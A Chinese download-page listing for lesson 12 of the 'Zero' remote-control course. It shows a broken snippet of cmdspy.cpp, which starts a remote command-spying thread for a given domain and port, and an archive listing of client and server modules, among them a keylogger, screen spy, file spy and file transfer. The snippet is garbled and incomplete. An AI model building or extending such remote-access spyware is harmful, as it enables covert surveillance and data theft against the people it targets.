資源簡介
Zero遠控第12節Zero遠控第12節
代碼片段和文件信息
#include?“cmdspy.h“
//?互擠體,用來確保線程安全
static?CRITICAL_SECTION?gCs;
//?初始化類
static?CmdSpy?gSpy;
//?臨時飯后信息保存路徑
static?std::string?gTmpReturnFile?=?“cmd_return.tmp“;
CmdSpy::CmdSpy()
{
????//?初始化互擠體
????InitializeCriticalSection(&gCs);
}
CmdSpy::~CmdSpy()
{
????//?刪除互擠體
????DeleteCriticalSection(&gCs);
}
void?CmdSpy::startByNewThread(std::string?domain?int?port)
{
????//?將域名和端口數據轉換成一個字符指針類型
????char?*args?=?new?char[MAX_PATH+sizeof(int)];
????domain.reserve(MAX_PATH);
????memcpy(argsdomain.data()?MAX_PATH);
????memcpy(args+MAX_PATH(char*)&port?sizeof(int));
????//?創建新線程
????HANDLE?h?=?CreateThread(NULL0?CmdSpy::threadProc(LPVOID)args0NULL);
????if?(!h)?{
????????std::cout?<“Failed?to?create?new?thread“?<????????std::fflush(stdout);
????}
}
DWORD?CmdSpy::threadProc(LPVOID?args)
{
????char?domain[MAX_PATH];
????memcpy(domain?args?MAX_PATH);
????int?port?=?*((int*)((char*)args+MAX_PATH));
????//?開始監控
????startCmdSpy(
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件???????3969??2016-12-25?15:47??Zero遠控第12節\ZeroClient\cmdspy.cpp
?????文件????????961??2016-12-25?14:50??Zero遠控第12節\ZeroClient\cmdspy.h
?????文件??????13714??2016-12-25?12:53??Zero遠控第12節\ZeroClient\filespy.cpp
?????文件???????3525??2016-12-24?08:57??Zero遠控第12節\ZeroClient\filespy.h
?????文件???????1378??1997-10-18?15:41??Zero遠控第12節\ZeroClient\jpeg\jconfig.h
?????文件??????12717??2014-09-03?11:55??Zero遠控第12節\ZeroClient\jpeg\jmorecfg.h
?????文件??????47339??2016-12-21?08:02??Zero遠控第12節\ZeroClient\jpeg\jpeglib.h
?????文件?????235030??2014-04-05?15:23??Zero遠控第12節\ZeroClient\jpeg\libjpeg.lib
?????文件???????7116??2016-12-25?12:53??Zero遠控第12節\ZeroClient\keyboardspy.cpp
?????文件???????1512??2016-12-22?15:24??Zero遠控第12節\ZeroClient\keyboardspy.h
?????文件???????1205??2016-12-25?18:08??Zero遠控第12節\ZeroClient\main.cpp
?????文件???????9188??2016-12-23?12:36??Zero遠控第12節\ZeroClient\screenspy.cpp
?????文件???????1378??2016-12-21?14:42??Zero遠控第12節\ZeroClient\screenspy.h
?????文件???????3746??2016-12-24?11:08??Zero遠控第12節\ZeroClient\tcpsocket.cpp
?????文件????????910??2016-12-24?10:55??Zero遠控第12節\ZeroClient\tcpsocket.h
?????文件???????8162??2016-12-25?14:27??Zero遠控第12節\ZeroClient\zeroclient.cpp
?????文件???????2400??2016-12-25?13:11??Zero遠控第12節\ZeroClient\zeroclient.h
?????文件????????331??2016-12-25?12:01??Zero遠控第12節\ZeroClient\ZeroClient.pro
?????文件??????23635??2016-12-25?18:12??Zero遠控第12節\ZeroClient\ZeroClient.pro.user
?????文件???????4087??2016-12-25?17:16??Zero遠控第12節\ZeroServer\cmdspy.cpp
?????文件???????1586??2016-12-25?17:14??Zero遠控第12節\ZeroServer\cmdspy.h
?????文件??????12843??2016-12-25?14:08??Zero遠控第12節\ZeroServer\filespy.cpp
?????文件???????4165??2016-12-24?16:20??Zero遠控第12節\ZeroServer\filespy.h
?????文件???????4122??2016-12-24?17:47??Zero遠控第12節\ZeroServer\filetransfer.cpp
?????文件???????1375??2016-12-24?17:44??Zero遠控第12節\ZeroServer\filetransfer.h
?????文件???????1784??2016-12-23?17:59??Zero遠控第12節\ZeroServer\keyboardspy.cpp
?????文件????????984??2016-12-22?17:42??Zero遠控第12節\ZeroServer\keyboardspy.h
?????文件????????199??2016-12-19?12:00??Zero遠控第12節\ZeroServer\main.cpp
?????文件???????5064??2016-04-24?09:10??Zero遠控第12節\ZeroServer\resources\cmdspy.png
?????文件???????8132??2016-04-24?09:13??Zero遠控第12節\ZeroServer\resources\filespy.png
............此處省略31個文件信息
- 上一篇:實驗報告及程序 哈夫曼樹的編碼和譯碼
- 下一篇:alwaysup注冊機
評論
共有 條評論